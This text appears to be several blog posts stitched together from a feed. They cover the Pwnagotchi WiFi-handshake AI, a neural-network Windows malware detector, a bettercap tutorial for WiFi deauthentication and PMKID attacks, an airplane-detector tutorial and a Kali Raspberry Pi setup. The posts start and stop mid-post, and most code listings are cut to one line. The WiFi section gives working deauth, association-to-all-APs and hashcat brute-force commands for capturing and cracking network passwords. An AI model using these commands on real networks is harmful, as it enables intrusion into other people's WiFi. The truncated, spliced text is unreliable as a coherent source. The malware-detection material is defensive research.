There are two relatively simple neural networks that at each epoch (basically at each loop of the main algorithm, when a new observation is available) are trying, in a way competitively, to estimate how the current situation looks like in terms of potential reward (number of handshakes) and what’s the best policy (the set of parameters) to use in order to maximize the reward value. These are basically two sides of the same thing and by approaching this from these two ways the algorithm can converge quickly to very useful solutions.
In my case, I decided to use as an “observation”, the following features, that should be enough to give the AI a rough estimation of what’s going on:
However, Pwnagotchi’s has something that makes it very different from any of the use cases and algorithms described in the book. You can usually fast forward, rewind and replay videogame levels. Even during simpler supervised learning, you have all at once the entire temporal snapshot of data that your system needs to learn, being it a malware dataset, or a Super Mario level. All the algorithms described in that book and implemented in the most popular software libaries, assume you to have an artificial, replayable and predictable environment to train the algorithm in.
Pwnagotchi needed to learn continuously by observing the real world, that is unpredictable and potentially different every time, at a real world time scale, that is, how long a single ARM CPU core can take to scan the entire WiFi spectrum and interact with its findings - from seconds to several minutes. And this can’t be replayed, as different policies lead to different observations which lead to different future policies … solving this has been challenging to say the least, as there’s no previous code example or use case or explaination on how to integrate with any of those algorithms the way I needed.
After a couple more weeks of studying and digging into the various implementations, I came up with a pretty decent solution that worked, surprisingly, out of the box. The continuous reinforcement learning logic works like this (keep in mind: one epoch is one loop of the main algorithm, from a few seconds to a few minutes depending on the WiFi things around you):
So that depending on how “lazy” the AI is configured to be, it will be learning most of the times or just conservately predicting parameters and only learn from new environments once in a while. Ideally: you want the laziness to be very low for younger units, so that they’ll learn fast, and then keep increasing their laziness over time, when they become more mature and present useful behaviours you want to keep and not accidentally “unlearn”.
Does it work? Yes it does, after a few days (or weeks, if you live in a isolated area), you literally start seeing the units going on different channels when they see each other, adjusting only to the channels where they “see” potential reward, setting the timeouts correctly depending on how fast the unit is moving in space and therefore how fast it needs to “lock on” new targets. Feel free to try and read what happens in /var/log/pwnagotchi.log
:D
By this time, when the AI was implemented and working, I was back home in Italy and to be entirely honest I started being a bit bored with the project, mostly for a few technical difficulties I had that made me waste a huge amount of time on relatively trivial operational and implementation details:
And let’s be even more honest: all the “cooler” problems, the challenges, were solved already: the AI was slow as f to load, but it worked pretty great once started … everything else started feeling a bit boring and so I paused the project. However, I hyped the sh*t out of it on Twitter, mostly because it’s fun to share updates with followers and friends, and I didn’t want to disappoint them, so I published the super-buggy-crap-version-alpha on GitHub.
That turned out to be absolutely the best thing to do, as the help and feedback I’ve got from the community starting from day 0 has been impressive: from this man, that now is my personal hero setting up the completely automated build system of the .img files, to this awesome guy that implemented the Bluetooth plugin for easy connectivity with a smartphone (among other things), to elkentaro that sent me the first 3D printed case, motivating me more than he’ll ever imagine, to Hex, that from the very beginning gave me some of the best ideas and encouraged me on that porch, she curated the documentation and bootstrapped the community itself, to all the people that translated the project in so many different languages, submitted a fix, a new feature or just some ideas.
This gave me some time to decompress and work on other, new ideas that evolved the project again (see “The Crypto” section) and gave new life to it (mostly to me). Today we have a Slack channel that’s quickly approaching its first 1000 of users, a subreddit made by the community, clear documentation, a very active repository, HackADay talked about us, but most importantly, even before arriving to the first 1.0.0 release, hundreds of units registered already from all over the world.
It is thanks to these people, their efforts and their support that today we are ready to release the 1.0.0 of the project - guys we made it, you are AWESOME!!!.
While developing the grid API running on pwnagotchi.ai used to keep track of the registered units, I had to decide some sort of authentication mechanism that wasn’t the usual username and password - I wanted people to authenticate to the API just by having a Pwnagotchi. So I started playing with RSA, and generated a keypair on each of the units at their first boot.
The idea that those keys were only used to authenticate to the API bothered me: there’s so much that can be done with RSA keys on dedicated hardware … this is how PwnMAIL started. Each Pwnagotchi is also an end-to-end encrypted messaging device. Users can send messages to each other, messages that are encrypted on their hardware and stored on our servers, so that can only be decrypted by the recipient unit. The keys are generated and phisically isolated on cheap and disposable hardware (that also happens to run a super cute hacker AI ^_^). It’s easy to secure them by creating a LUKS encrypted partition so that they can’t be recovered from the SD card.
It’s easier than GPG, hardware isolated and it’s not connected to a phone number. You can use it to send encrypted text messages or small files.
Let’s talk about AI olympics! :D
Since the grid API is pretty open and users with valid RSA keys could send any amount of “pwned networks”, I decided not to use the data they send from any sort of scoreboard, ranking or competition system. This would only push some malicious (and very boring) users to cheat by sending fake statistics of fake units, therefore ruining the fun for all the others.
Each unit currently has a /root/brain.nn
file which stores its neural networks and it’s just a few MB: this is what the users will be uploading when competitive features will be implemented (and they will be) server side.
Each AI will be executed in a virtual environment, built on top of bettercap’s sessions recorded from real world scenarios and wrapped in such a way that it won’t be able to tell the difference from its normal, real world WiFi routine. While this system can not be used for training, because the way those scenarios will react is artificial (I will script who will send an handshake to whom depending on the right or wrong decisions the AI made), it can be used to benchmark how that specific brain.nn file peforms in terms of average reward per session. This is a value that increases over time, the more (and the better) the AI is trained, and can’t be faked. This is what the PwnOlympics will be built on. Good luck cheating with that :D
Now let’s talk about distributed computing …
A modern GPU used in a cracking rig is so effective because is powered, differently from a CPU, by thousands of cores, a bit more than 1Ghz each, that are used to parallelize the search algorithms required for cracking … but it’s expensive.
If and when the project will reach the thousands of units, PwnGRID will provide a similar amount of “cores”, that can be orchestrated as a single computational unit, to everybody, for free. Whatever cracking power the grid will reach, it’ll be distributed according to the previous contributions of who submitted the job: the more CPU cycles you’ll give to the grid, the higher the priority (and number of units) you will have to perform your operation. It’s like a BlockChain (proof of pwn!) mixed with Emule’s logic of giving priority to nodes that contributed more.
These are just some of the ideas that we are discussing and implementing, we need more and we need higher numbers. You’re more than welcome to join our Slack channel and help :)
A few key points I didn’t want to omit but that I don’t feel like phrasing more extensively than this:
Having a rather empirical and definitely non-academic education, I know the struggle of a passionate developer who wants to approach machine learning and is trying to make sense of formal definitions, linear algebra and whatnot. Therefore, I’ll try to keep this as practical as possible in order to allow even the less formally-educated reader to understand and possibly start having fun with neural networks.
Moreover, most of the resources out there focus on very known problems such as handwritten digit recognition on the MNIST dataset (the “hello world” of machine learning), while leaving to the reader’s imagination how more complex features engineering systems are supposed to work and generally what to do with inputs that are not images.
TL;DR: I’m bad at math, MNIST is boring and detecting malware is more fun :D
I’ll also use this as an example use-case for some new features of ergo, a project me and chiconara started some time ago to automate machine learning models creation, data encoding, training on GPU, benchmarking and deployment at scale.
The source code related to this post is available here.
Important note: this project alone does NOT constitute a valid replacement for your commercial antivirus.
Traditional malware detection engines rely on the use of signatures - unique values that have been manually selected by a malware researcher to identify the presence of malicious code while making sure there are no collisions in the non-malicious samples group (that’d be called a “false positive”).
The problems with this approach are several, among others it’s usually easy to bypass (depending on the type of signature, the change of a single bit or just a few bytes in the malicious code could make the malware undetectable) and it doesn’t scale very well when the number of researchers is orders of magnitude smaller than the number of unique malware families they need to manually reverse engineer, identify and write signatures for.
Our goal is teaching a computer, more specifically an artificial neural network, to detect Windows malware without relying on any explicit signatures database that we’d need to create, but by simply ingesting the dataset of malicious files we want to be able to detect and learning from it to distinguish between malicious code or not, both inside the dataset itself but, most importantly, while processing new, unseen samples. Our only knowledge is which of those files are malicious and which are not, but not what specifically makes them so, we’ll let the ANN do the rest.
In order to do this, I’ve collected approximately 200,000 Windows PE samples, divided evenly in malicious (with 10+ detections on VirusTotal) and clean (known and with 0 detections on VirusTotal). Since training and testing the model on the very same dataset wouldn’t make much sense (as it could perform extremely well on the training set, but not being able to generalize at all on new samples), this dataset will be automatically divided by ergo into 3 sub sets:
Needless to say, the amount of (correctly labeled) samples in your dataset is key for the model accuracy, its ability to correcly separate the two classes and generalize to unseen samples - the more you’ll use in your training process, the better. Besides, ideally the dataset should be periodically updated with newer samples and the model retrained in order to keep its accuracy high over time even when new unique samples appear in the wild (namely: wget + crontab + ergo).
Due to the size of the specific dataset I’ve used for this post, I can’t share it without killing my bandwidth:
However, I uploaded the dataset.csv file on Google Drive, it’s ~340MB extracted and you can use it to reproduce the results of this post.
The Windows PE format is abundantly documented and many good resources to understand the internals, such as Ange Albertini‘s “Exploring the Portable Executable format“ 44CON 2013 presentation (from where I took the following picture) are available online for free, therefore I won’t spend too much time going into details.
The key facts we must keep in mind are:
For instance, this is how the Firefox PE sections look like:
While in some cases, if the PE has been processed with a packer such as UPX, its sections might look a bit different, as the main code and data sections are compressed and a code stub to decompress at runtime it’s added:
What we’re going to do now is looking at how we can encode these values that are very heterogeneous in nature (they’re numbers of all types of intervals and strings of variable length) into a vector of scalar numbers, each normalized in the interval [0.0,1.0], and of constant length. This is the type of input that our machine learning model is able to understand.
The process of determining which features of the PE to consider is possibly the most important part of designing any machine learning system and it’s called features engineering, while the act of reading these values and encoding them is called features extraction.
After creating the project with:
ergo create ergo-pe-av
I started implementing the features extraction algorithm, inside the encode.py file, as a very simple (150 lines including comments and multi line strings) starting point that yet provides us enough information to reach interesting accuracy levels and that could easily be extended in the future with additional features.
cd ergo-pe-avvim encode.py
The first 11 scalars of our vector encode a set of boolean properties that LIEF, the amazing library from QuarksLab I’m using, parses from the PE - each property is encoded to a 1.0
if true, or to a 0.0
if false:
Property | Description |
---|---|
pe.has_configuration | True if the PE has a Load Configuration |
pe.has_debug | True if the PE has a Debug section. |
pe.has_exceptions | True if the PE is using exceptions. |
pe.has_exports | True if the PE has any exported symbol. |
pe.has_imports | True if the PE is importing any symbol. |
pe.has_nx | True if the PE has the NX bit set. |
pe.has_relocations | True if the PE has relocation entries. |
pe.has_resources | True if the PE has any resource. |
pe.has_rich_header | True if a rich header is present. |
pe.has_signature | True if the PE is digitally signed. |
pe.has_tls | True if the PE is using TLS |
Then 64 elements follow, representing the first 64 bytes of the PE entry point function, each normalized to [0.0,1.0]
by dividing each of them by 255
- this will help the model detecting those executables that have very distinctive entrypoints that only vary slightly among different samples of the same family (you can think about this as a very basic signature):
1 | ep_bytes = [0] * 64 |
Then an histogram of the repetitions of each byte of the ASCII table (therefore size 256) in the binary file follows - this data point will encode basic statistical information about the raw contents of the file:
1 | # the 'raw' argument holds the entire contents of the file |
The next thing I decided to encode in the features vector is the import table, as the API being used by the PE is quite a relevant information :D In order to do this I manually selected the 150 most common libraries in my dataset and for each API being used by the PE I increment by one the column of the relative library, creating another histogram of 150 values then normalized by the total amount of API being imported:
1 | # the 'pe' argument holds the PE object parsed by LIEF |
We proceed to encode the ratio of the PE size on disk vs the size it’ll have in memory (its virtual size):
1 | min(sz, pe.virtual_size) / max(sz, pe.virtual_size) |
Next, we want to encode some information about the PE sections, such the amount of them containing code vs the ones containing data, the sections marked as executable, the average Shannon entropy of each one and the average ratio of their size vs their virtual size - these datapoints will tell the model if and how the PE is packed/compressed/obfuscated:
1 | def encode_sections(pe): |
Last, we glue all the pieces into one single vector of size 486
:
1 | v = np.concatenate([ \ |
The only thing left to do, is telling our model how to encode the input samples by customizing the prepare_input
function in the prepare.py
file previously created by ergo - the following implementation supports the encoding of a file given its path, given its contents (sent as a file upload to the ergo API), or just the evaluation on a raw vector of scalar features:
1 | # used by `ergo encode <path> <folder>` to encode a PE in a vector of scalar features |
Now we have everything we need to transform something like this, to something like this:
1 | 0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.333333333333,0.545098039216,0.925490196078,0.41568627451,1.0,0.407843137255,0.596078431373,0.192156862745,0.250980392157,0.0,0.407843137255,0.188235294118,0.149019607843,0.250980392157,0.0,0.392156862745,0.63137254902,0.0,0.0,0.0,0.0,0.313725490196,0.392156862745,0.537254901961,0.145098039216,0.0,0.0,0.0,0.0,0.513725490196,0.925490196078,0.407843137255,0.325490196078,0.337254901961,0.341176470588,0.537254901961,0.396078431373,0.909803921569,0.2,0.858823529412,0.537254901961,0.364705882353,0.988235294118,0.41568627451,0.0078431372549,1.0,0.0823529411765,0.972549019608,0.188235294118,0.250980392157,0.0,0.349019607843,0.513725490196,0.0509803921569,0.0941176470588,0.270588235294,0.250980392157,0.0,1.0,0.513725490196,0.0509803921569,0.109803921569,0.270588235294,0.250980392157,0.870149739583,0.00198567708333,0.00146484375,0.000944010416667,0.000830078125,0.00048828125,0.000162760416667,0.000325520833333,0.000569661458333,0.000130208333333,0.000130208333333,8.13802083333e-05,0.000553385416667,0.000390625,0.000162760416667,0.00048828125,0.000895182291667,8.13802083333e-05,0.000179036458333,8.13802083333e-05,0.00048828125,0.001611328125,0.000162760416667,9.765625e-05,0.000472005208333,0.000146484375,3.25520833333e-05,8.13802083333e-05,0.000341796875,0.000130208333333,3.25520833333e-05,1.62760416667e-05,0.001171875,4.8828125e-05,0.000130208333333,1.62760416667e-05,0.00372721354167,0.000699869791667,6.51041666667e-05,8.13802083333e-05,0.000569661458333,0.0,0.000113932291667,0.000455729166667,0.000146484375,0.000211588541667,0.000358072916667,1.62760416667e-05,0.00208333333333,0.00087890625,0.000504557291667,0.000846354166667,0.000537109375,0.000439453125,0.000358072916667,0.000276692708333,0.000504557291667,0.000423177083333,0.000276692708333,3.25520833333e-05,0.000211588541667,0.000146484375,0.000130208333333,0.0001953125,0.00577799479167,0.00109049479167,0.000227864583333,0.000927734375,0.002294921875,0.000732421875,0.000341796875,0.000244140625,0.000276692708333,0.000211588541667,3.25520833333e-05,0.000146484375,0.00135091145833,0.000341796875,8.13802083333e-05,0.000358072916667,0.00193684895833,0.0009765625,0.0009765625,0.00123697916667,0.000699869791667,0.000260416666667,0.00078125,0.00048828125,0.000504557291667,0.000211588541667,0.000113932291667,0.000260416666667,0.000472005208333,0.00029296875,0.000472005208333,0.000927734375,0.000211588541667,0.00113932291667,0.0001953125,0.000732421875,0.00144856770833,0.00348307291667,0.000358072916667,0.000260416666667,0.00206705729167,0.001171875,0.001513671875,6.51041666667e-05,0.00157877604167,0.000504557291667,0.000927734375,0.00126953125,0.000667317708333,1.62760416667e-05,0.00198567708333,0.00109049479167,0.00255533854167,0.00126953125,0.00109049479167,0.000325520833333,0.000406901041667,0.000325520833333,8.13802083333e-05,3.25520833333e-05,0.000244140625,8.13802083333e-05,4.8828125e-05,0.0,0.000406901041667,0.000602213541667,3.25520833333e-05,0.00174153645833,0.000634765625,0.00068359375,0.000130208333333,0.000130208333333,0.000309244791667,0.00105794270833,0.000244140625,0.003662109375,0.000244140625,0.00245768229167,0.0,1.62760416667e-05,0.002490234375,3.25520833333e-05,1.62760416667e-05,9.765625e-05,0.000504557291667,0.000211588541667,1.62760416667e-05,4.8828125e-05,0.000179036458333,0.0,3.25520833333e-05,3.25520833333e-05,0.000211588541667,0.000162760416667,8.13802083333e-05,0.0,0.000260416666667,0.000260416666667,0.0,4.8828125e-05,0.000602213541667,0.000374348958333,3.25520833333e-05,0.0,9.765625e-05,0.0,0.000113932291667,0.000211588541667,0.000146484375,6.51041666667e-05,0.000667317708333,4.8828125e-05,0.000276692708333,4.8828125e-05,8.13802083333e-05,1.62760416667e-05,0.000227864583333,0.000276692708333,0.000146484375,3.25520833333e-05,0.000276692708333,0.000244140625,8.13802083333e-05,0.0001953125,0.000146484375,9.765625e-05,6.51041666667e-05,0.000358072916667,0.00113932291667,0.000504557291667,0.000504557291667,0.0005859375,0.000813802083333,4.8828125e-05,0.000162760416667,0.000764973958333,0.000244140625,0.000651041666667,0.000309244791667,0.0001953125,0.000667317708333,0.000162760416667,4.8828125e-05,0.0,0.000162760416667,0.000553385416667,1.62760416667e-05,0.000130208333333,0.000146484375,0.000179036458333,0.000276692708333,9.765625e-05,0.000406901041667,0.000162760416667,3.25520833333e-05,0.000211588541667,8.13802083333e-05,1.62760416667e-05,0.000130208333333,8.13802083333e-05,0.000276692708333,0.000504557291667,9.765625e-05,1.62760416667e-05,9.765625e-05,3.25520833333e-05,1.62760416667e-05,0.0,0.00138346354167,0.000732421875,6.51041666667e-05,0.000146484375,0.000341796875,3.25520833333e-05,4.8828125e-05,4.8828125e-05,0.000260416666667,3.25520833333e-05,0.00068359375,0.000960286458333,0.000227864583333,9.765625e-05,0.000244140625,0.000813802083333,0.000179036458333,0.000439453125,0.000341796875,0.000146484375,0.000504557291667,0.000504557291667,9.765625e-05,0.00760091145833,0.0,0.370786516854,0.0112359550562,0.168539325843,0.0,0.0,0.0337078651685,0.0,0.0,0.0,0.303370786517,0.0112359550562,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0561797752809,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0449438202247,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.25,0.25,0.588637653212,0.055703845605 |
Assuming you have a folder containing malicious samples in the pe-malicious
subfolder and clean ones in pe-legit
(feel free to give them any name, but the folder names will become the labels associated to each of the samples), you can start the encoding process to a dataset.csv
file that our model can use for training with:
ergo encode /path/to/ergo-pe-av /path/to/dataset --output /path/to/dataset.csv
Take a coffee and relax, depending on the size of your dataset and how fast the disk where it’s stored is, this process might take quite some time :)
While ergo is encoding our dataset, let’s take a break to discuss an interesting property of these vectors and how to use it.
It’ll be clear to the reader by now that structurally and/or behaviourally similar executables will have similar vectors, where the distance/difference from one vector and another can be measured, for instance, by using the Cosine similarity, defined as:
This metric can be used, among other things, to extract from the dataset (that, let me remind, is a huge set of files you don’t really know much about other if they’re malicious or not) all the samples of a given family given a known “pivot” sample. Say, for instance, that you have a Mirai sample for MIPS, and you want to extract every Mirai variant for any architecture from a dataset of thousands of different unlabeled samples.
The algorithm, that I implemented inside the sum database as the findSimilar
“oracle” (a fancy name for stored procedure), is quite simple:
1 | // Given the vector with id="id", return a list of |
Yet quite effective:
Meanwhile, our encoder should have finished doing its job and the resulting dataset.csv
file containing all the labeled vectors extracted from each of the samples should be ready to be used for training our model … but what “training our model” actually means? And what’s this “model” in the first place?
The model we’re using is a computational structure called Artificial neural network that we’re training using the Adam optimization algorithm . Online you’ll find very detailed and formal definitions of both, but the bottomline is:
An ANN is a “box” containing hundreds of numerical parameters (the “weights” of the “neurons”, organized in layers) that are multiplied with the inputs (our vectors) and combined to produce an output prediction. The training process consists in feeding the system with the dataset, checking the predictions against the known labels, changing those parameters by a small amount, observing if and how those changes affected the model accuracy and repeating this process for a given number of times (epochs) until the overall performance has reached what we defined as the required minimum.
The main assumption is that there is a numerical correlation among the datapoints in our dataset that we don’t know about but that if known would allow us to divide that dataset into the output classes. What we do is asking this blackbox to ingest the dataset and approximate such function by iteratively tweaking its internal parameters.
Inside the model.py
file you’ll find the definition of our ANN, a fully connected network with two hidden layers of 70 neurons each, ReLU as the activation function and a dropout of 30% during training:
1 | n_inputs = 486 |
We can now start the training process with:
ergo train /path/to/ergo-pe-av --dataset /path/to/dataset.csv
Depending on the total amount of vectors in the CSV file, this process might take from a few minutes, to hours, to days. In case you have GPUs on your machine, ergo will automatically use them instead of the CPU cores in order to significantly speed the training up (check this article if you’re curious why).
Once done, you can inspect the model performance statistics with:
ergo view /path/to/ergo-pe-av
This will show the training history, where we can verify that the model accuracy indeed increased over time (in our case, it got to a 97% accuracy around epoch 30), and the ROC curve, which tells us how effectively the model can distinguish between malicious or not (an AUC, or area under the curve, of 0.994, means that the model is pretty good):
Training | ROC/AUC |
---|---|
Moreover, a confusion matrix for each of the training, validation and test sets will also be shown. The diagonal values from the top left (dark red) represent the number of correct predictions, while the other values (pink) are the wrong ones (our model has a 1.4% false positives rate on a test set of ~30000 samples): |
Training | Validation | Testing |
---|---|---|
97% accuracy on such a big dataset is a very interesting result considering how simple our features extraction algorithm is. Many of the misdetections are caused by packers such as UPX (or even just self extracting zip/msi archives) that affect some of the datapoints we’re encoding - adding an unpacking strategy (such as emulating the unpacking stub until the real PE is in memory) and more features (bigger entrypoint vector, dynamic analysis to trace the API being called, imagination is the limit!) is the key to get it to 99% :)
We can now remove the temporary files:
ergo clean /path/to/ergo-pe-av
Load the model and use it as an API:
ergo serve /path/to/ergo-pe-av --classes "clean, malicious"
And request its classification from a client:
curl -F "x=@/path/to/file.exe" "http://localhost:8080/"
You’ll get a response like the following (here the file being scanned):
Now you can use the model to scan whatever you want, enjoy! :)
We’ll start with the assumption that your WiFi card supports monitor mode and packet injection (I use an AWUS1900
with this driver), that you have a working hashcat (v4.2.0 or higher is required) installation (ideally with GPU support enabled) for cracking and that you know how to use it properly either for dictionary or brute-force attacks, as no tips on how to tune the masks and/or generate proper dictionaries will be given :)
First thing first, let’s try a classical deauthentication attack: we’ll start bettercap, enable the wifi.recon
module with channel hopping and configure the ticker
module to refresh our screen every second with an updated view of the nearby WiFi networks (replace wlan0
with the interface you want to use):
1 | sudo bettercap -iface wlan0 |
You should now see something like this:
Assuming Casa-2.4
is the network we want to attack, let’s stick to channel 1
in order to avoid jumping to other frequencies and potentially losing useful packets:
1 | > wifi.recon.channel 1 |
What we want to do now is forcing one or more of the client stations (we can see 5 of them for this AP) to disconnect by forging fake deauthentication packets. Once they will reconnect, hopefully, bettercap will capture the needed EAPOL frames of the handshake that we’ll later pass to hashcat for cracking (replace e0:xx:xx:xx:xx:xx
with the BSSID of your target AP):
1 | > wifi.deauth e0:xx:xx:xx:xx:xx |
If everything worked as expected and you’re close enough to the AP and the clients, bettercap will start informing you that complete handshakes have been captured (you can customize the pcap file output by changing the wifi.handshakes.file
parameter):
The downsides of this attack are obvious: no clients = no party, moreover, given we need to wait for at least one of them to reconnect, it can potentially take some time.
Once we have succesfully captured the EAPOL frames required by hashcat in order to crack the PSK, we’ll need to convert the pcap
output file to the hccapx
format that hashcat can read. In order to do so, we can either use this online service, or install the hashcat-utils ourselves and convert the file locally:
1 | /path/to/cap2hccapx /root/bettercap-wifi-handshakes.pcap bettercap-wifi-handshakes.hccapx |
You can now proceed to crack the handshake(s) either by dictionary attack or brute-force. For instance, to try all 8-digits combinations:
1 | /path/to/hashcat -m2500 -a3 -w3 bettercap-wifi-handshakes.hccapx '?d?d?d?d?d?d?d?d' |
And this is it, the evergreen deauthentication attack in all its simplicity, performed with just one tool … let’s get to the fun part now :)
In 2018 hashcat authors disclosed a new type of attack which not only relies on one single packet, but it doesn’t require any clients to be connected to our target AP or, if clients are connected, it doesn’t require us to send deauth frames to them, there’s no interaction between the attacker and client stations, but just between the attacker and the AP, interaction which, if the router is vulnerable, is almost immediate!
It turns out that a lot of modern routers append an optional field at the end of the first EAPOL frame sent by the AP itself when someone is associating, the so called Robust Security Network
, which includes something called PMKID
:
As explained in the original post, the PMKID is derived by using data which is known to us:
1 | PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA) |
Since the “PMK Name” string is constant, we know both the BSSID of the AP and the station and the PMK
is the same one obtained from a full 4-way handshake, this is all hashcat needs in order to crack the PSK and recover the passphrase! Here’s where the new wifi.assoc
command comes into play: instead of deauthenticating existing clients as shown in the previous attack and waiting for the full handshake to be captured, we’ll simply start to associate with the target AP and listen for an EAPOL frame containing the RSN PMKID data.
Say we’re still listening on channel 1 (since we previously wifi.recon.channel 1
), let’s send such association request to every AP and see who’ll respond with useful information:
1 | # wifi.assoc supports 'all' (or `*`) or a specific BSSID, just like wifi.deauth |
All nearby vulnerable routers (and let me reiterate: a lot of them are vulnerable), will start sending you the PMKID, which bettercap will dump to the usual pcap file:
We’ll now need to convert the PMKID data in the pcap file we just captured to a hash format that hashcat can understand, for this we’ll use hcxpcaptool:
1 | /path/to/hcxpcaptool -z bettercap-wifi-handshakes.pmkid /root/bettercap-wifi-handshakes.pcap |
We can now proceed cracking the bettercap-wifi.handshake.pmkid
file so generated by using algorithm number 16800
:
1 | /path/to/hashcat -m16800 -a3 -w3 bettercap-wifi-handshakes.pmkid '?d?d?d?d?d?d?d?d' |
Enjoy :)
]]>So a few days ago I started writing what it was initially meant to be just a simple wrapper for the main commands of my training pipelines but quickly became a full-fledged framework and manager for all my Keras based projects.
Today I’m pleased to open source and present project Ergo by showcasing an example use-case: we’ll prototype, train and test a Convolutional Neural Network on top of the PlanesNet raw dataset in order to build an airplane detector for satellite imagery.
This image and the general idea were taken from this project, however the model structure, training algorithm and data preprocessing are different … the point of this post is, as i said, to showcase Ergo with something which is less of a clichè than the handwritten digits recognition problem with the MNIST database.
First thing first, you’ll need python3
and pip3
, download Ergo’s latest stable release from GitHub, extract it somewhere on your disk and:
cd /path/to/ergosudo pip3 install -r requirements.txtpython3 setup.py buildsudo python3 setup.py install
If you’re interested in visualizing the model and training metrics, you’ll also need to:
sudo apt-get install graphviz python3-tk
This way you’ll have installed all the dependencies, including the default version of TensorFlow which runs on CPU. Since our training dataset will be relatively big and our model moderately complex, we might want to use GPUs instead. In order to do so, make sure you have CUDA 9.0 and cuDNN 7.0 installed and then:
sudo pip3 uninstall tensorflowsudo pip3 install tensorflow-gpu
If everything worked correctly, you’ll be able test your GPU setup, the software versions and what hardware is available with the nvidia-smi
and ergo info
commands. For example, on my home training server this is the output:
Now it’s time to grab our dataset, download the planesnet.zip file from Kaggle and extract it somewhere on your disk, we will only need the folder filled with PNG files, each one named as 1__20160714_165520_0c59__-118.4316008_33.937964191.png
, where the first 1__
or 0__
tells us the labeling (0=no plane, 1=there’s a plane).
We’ll feed our system with the raw images, preprocess them and train a CNN on top of those labeled vectors next.
Normally we would start a new Ergo project by issuing the ergo create planes-detector
command, this would create a new folder named planes-detector
with three files in it:
prepare.py
, that we will customize to preprocess the dataset model.py
, where we will customize the model.train.py
, for the training algorithm.These files would be filled with some default code and only a minimum amount of changes would be needed in order to implement our experiment, changes that I already made available on the planes-detector repo on GitHub.
The format that by default Ergo expects the dataset to be is a CSV file, where each row is composed as y,x0,x1,x2,....
(y
being the label and xn
the scalars in the input vector), but our inputs are images, which have a width, a height and a RGB depth. In order to transform these 3-dimensional tensors into a flat vector that Ergo understands, we need to customize the prepare.py
script to do some data preprocessing.
This will loop all the pictures and flatten them to vectors of 1200 elements each (20x20x3), plus the y
scalar (the label) at the beginning, and eventually return a panda.DataFrame
that Ergo will now digest.
This is not a post about how convolutional neural networks (or neural networks at all) work so I won’t go into details about that, chances are that if you have the type of technical problems that Ergo solves, you know already. In short, CNNs can encode visual/spatial patterns from input images and use them as features in order to predict things like how much this image looks like a cat
… or a plane :) TLDR: CNNs are great for images.
This is how our model.py
looks like:
Other than reshaping
the flat input back to the 3-dimensional shape that our convolutional layers understand, two convolutional layers with respectively 32 and 64 filters with a 3x3 kernel are present, plus the usual suspects that help us getting more accurate results after training (MaxPooling2D
to pick the best visual features and a couple of Dropout
filter layers to avoid overfitting) and the Dense
hidden and output layers. Pretty standard model for simple image recognition problems.
We can finally start talking about training. The train.py
file was almost left unchanged and I only added a few lines to integrate it with TensorBoard.
The data preprocessing, import and training process can now be started with:
ergo train /path/to/planes-detector-project --dataset /path/to/planesnet-pictures
If running on multiple GPUs, you can use the --gpus N
optional argument to detemine how many to use, while the --test N
and --validation N
arguments can be used to partition the dataset (by default both test and validation sets will be 15% of the global one, while the rest will be used for training).
Depending on your hardware configuration this process can take from a few minutes, up to even hours (remember you can monitor it with tensorboard --log_dir=/path/to/planes-detector-project/logs
), but eventually you will see something like:
Other than manually inspecting the model yaml file, and some model.stats
, you can now:
ergo view /path/to/planes-detector-project
to see the model structure, the accuracy
and loss
metrics during training and validation:
Not bad! Over 98% accuracy on a dataset of thousands of images!
We can now clean the project from the temporary train, validation and test datasets:
ergo clean /path/to/planes-detector-project
It is possible now to load the trained weights model.h5
file in your own project and use it as you like, for instance you might use a sliding window of 20x20 pixels on a bigger image and mark the areas that this NN detected as planes. Another option is to use Ergo itself and expose the model as a REST API:
ergo serve /path/to/planes-detector-project
You’ll be able to access and test the model predictions via a simple:
curl http://127.0.0.1:8080/?x=0.345,1.0,0.9,....
__
As usual, enjoy <3
Thanks to the awesome work of the Kali and Nexmon communities in packaging the nexmon drivers and utilities and to the recent changes we released in bettercap, this was very easy to setup and to script and given the interest the tweet had I thought to share this writeup :)
Why not using Nethunter or some other Kali image for Android and a smartphone instead?
Monitor mode works, injection doesn’t. Using an external WiFi makes the whole thing bigger and kills the battery.
Why not using … instead?
There are many alternatives to the setup I’m going to describe, it’s not necessarily the best, just the one that works for me.
Why …?
BECAUSE. The point of this post is not just the hardware, but mostly how to use bettercap to attack wifi.
First thing first, you’ll need to download the Kali Linux Rpi0w Nexmon image from this page and burn it to the uSD card you’re going to use for the rpi using the usual dd
method, but before unmounting it, we need to enable SSH at boot and configure it to connect to our home WiFi network for the initial configuration, keep in mind this is just temporary and the main wifi interface will be used for packet injection later, while we will be able to connect via bluetooth to the board.
From the computer you used to burn the image on your micro sd, mount it again if needed and then:
1 | # this will enable ssh at boot |
Fill this file with the following contents:
1 | auto lo |
Now we’ll add the details of the WiFi network we want the rpi to connect automatically for configuration:
1 | nano /sd-mount-point/etc/wpa_supplicant/wpa_supplicant.conf |
And add this:
1 | country=GB |
Reboot the RPI and it should connect to your WiFi, search for its IP address (either by broadcast ping, or using bettercap itself, i usually use the netmon caplet to see what’s going on on my network) and finally SSH to it using the default Kali credentials:
1 | # this will allow you to login with your SSH key instead of a password |
Once you’re logged in:
1 | # always change the default root password |
Fix the bluetooth configuration file /etc/systemd/system/bluetooth.target.wants/bluetooth.service
by disabling the SAP plugin that would break bluetooth, change the ExecStart
part with:
1 | ExecStart=/usr/lib/bluetooth/bluetoothd --noplugin=sap |
